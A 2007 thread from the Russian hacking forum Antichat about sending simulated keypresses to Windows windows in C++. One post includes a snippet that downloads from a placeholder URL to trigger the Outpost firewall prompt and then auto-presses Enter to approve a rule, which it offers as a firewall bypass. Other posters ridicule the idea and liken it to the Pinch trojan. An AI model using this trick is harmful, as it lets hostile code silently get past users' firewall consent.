Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

01.10.2007, 14:41
|
|
Новичок
Регистрация: 03.09.2006
Сообщений: 4
Провел на форуме: 22813
Репутация:
1
|
|
Захват хендла окна (c++)
Изучил довольно много информации по хендлу.Планирую использовать в мирных целях,но думаю и для обхода фаеров пригодиться многим
PHP код:
HWND hWnd;
hWnd = FindWindow("Класс приложения", NULL);
hWnd = FindWindowEx(hWnd, NULL, "Класс кнопки/строки и прочего", NULL);
if (IsWindow(hWnd))
{
// Кнопка найдена, работаем с ней
}
Код работает прекрасно,но ..вот пример:
PHP код:
HWND hWnd;
hWnd = FindWindow("Notepad", NULL);
hWnd = FindWindowEx(hWnd, NULL, "Edit", NULL);
if (IsWindow(hWnd))
{
keybd_event(VK_SPACE,0,0,0);
keybd_event(VK_SPACE,0,KEYEVENTF_KEYUP,0);
}
Работа с блокнотом,а точнее эмуляция нажатия кнопок SPACE,проблема в том,что программа (эмуляция) работает корретно,только в случае (!) если Notepad - является (!)активным окном.В противном случа нет.Вопрос,есть ли способы переключения активного окна?Гугль не помог.
Последний раз редактировалось kotel; 01.10.2007 в 14:43..
Причина: Correct
|
|
|

01.10.2007, 14:53
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме: 1917742
Репутация:
541
|
|
попробуй SetForegroundWindow
|
|
|

01.10.2007, 14:53
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Во-первых, я не понял при чём тут обход фаеров? Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка. Мало того, что в MSDN это есть, так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow. Дальше сам.
|
|
|

01.10.2007, 15:24
|
|
Новичок
Регистрация: 03.09.2006
Сообщений: 4
Провел на форуме: 22813
Репутация:
1
|
|
groundhog
я не понял при чём тут обход фаеров?
Обдумав 30 секунд набросал:
PHP код:
URLDownloadToFile(NULL, "http://url.succes.txt", "succes.txt", 0, NULL); //дразним оутпост
HWND hWnd;
hWnd = FindWindow("#32770", NULL); //находим окно создания правила
//для нового приложения
if (IsWindow(hWnd))
{
keybd_event(VK_RETURN,0,0,0);
//создаем правило:),по умолчанию задает ему как Web
//браузер.поэтому достаточно 1 нажатия :))
}
Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать  )
Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка.
Спасибо учту.Я не люблю отмазываться  .
так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow.
Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться
LEE_ROY
попробуй SetForegroundWindow
Спасибо пошел искать инфу.
|
|
|

01.10.2007, 15:42
|
|
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме: 404152
Репутация:
94
|
|
Изучив много карт и глобусов, могу твердо заявить: земля КРУГЛАЯ!!!.
Я буду использовать эту информацию в мирных целях, хотя ею можно воспользоваться и в других менее мирных целях.
|
|
|

01.10.2007, 15:51
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Клацанье по кнопкам это не обход фаеров...
|
|
|

01.10.2007, 16:20
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать )
Ну боянище же это раз. Два - какой это нафиг обход?
|
|
|

01.10.2007, 16:28
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Сообщение от _Great_
Ну боянище же это раз. Два - какой это нафиг обход?
Ну так пинч же тоже по кнопочкам клацал, как бы "обходя" KIS и OUTPOST. Это не обход, это скорее обман 
|
|
|

01.10.2007, 22:51
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме: 2009677
Репутация:
472
|
|
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..
|
|
|

02.10.2007, 09:11
|
|
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме: 404152
Репутация:
94
|
|
Сообщение от Ni0x
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..
не говори как, мы, долгие годы молчали и никому не рассказывали об этом секрете, а ты вот взял и спалил всех нах.
Как скажи мне мы теперь будем обходить врейвол, ведь бравые бойци из агниума закроют эту дыру.
И как нам теперь быть!? Засрал малину?!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|